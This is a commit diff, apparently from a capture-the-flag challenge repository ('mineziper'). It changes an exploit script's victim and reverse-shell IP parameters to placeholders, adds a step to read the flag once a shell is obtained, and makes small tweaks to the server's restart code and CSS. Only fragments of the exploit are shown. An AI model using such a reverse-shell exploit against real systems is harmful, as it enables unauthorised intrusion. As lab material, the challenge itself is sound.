Add more generic params
This commit is contained in:
parent
2fa66f3860
commit
f9d73bfb68
3 changed files with 5 additions and 10 deletions
|
|
@ -8,12 +8,12 @@ import zipfile
|
|||
##############
|
||||
|
||||
# Victim params
|
||||
ip = "127.0.0.1"
|
||||
ip = "X.X.X.X"
|
||||
port = 5000
|
||||
url = f"http://{ip}:{port}/upload"
|
||||
|
||||
# Reverse shell params
|
||||
my_ip = "127.0.0.1"
|
||||
my_ip = "X.X.X.X"
|
||||
my_port = 9001
|
||||
|
||||
|
||||
|
|
@ -127,6 +127,7 @@ with open("payload.zip", "wb") as zipf:
|
|||
|
||||
print("payload.zip patched")
|
||||
print("You can start listening on port ", str(my_port))
|
||||
print("Once you get the shell, `cat ~/flag.txt`")
|
||||
input("Press any key when you are ready...")
|
||||
print("Sending payload...")
|
||||
|
||||
|
|
|
|||
|
|
@ -38,9 +38,9 @@ def upload():
|
|||
|
||||
except:
|
||||
print("Restarting mineziper service", file=sys.stdout)
|
||||
os.system("killall mineziperd")
|
||||
os.system("pkill mineziperd")
|
||||
os.system("~/mineziperd &")
|
||||
time.sleep(1)
|
||||
time.sleep(5)
|
||||
|
||||
s.send(pack("I", len(buf)))
|
||||
s.send(buf)
|
||||
|
|
|
|||
|
|
@ -26,12 +26,6 @@ form {
|
|||
text-align: center;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* Hide the default file input button */
|
||||
input[type="file"] {
|
||||
display: none;
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue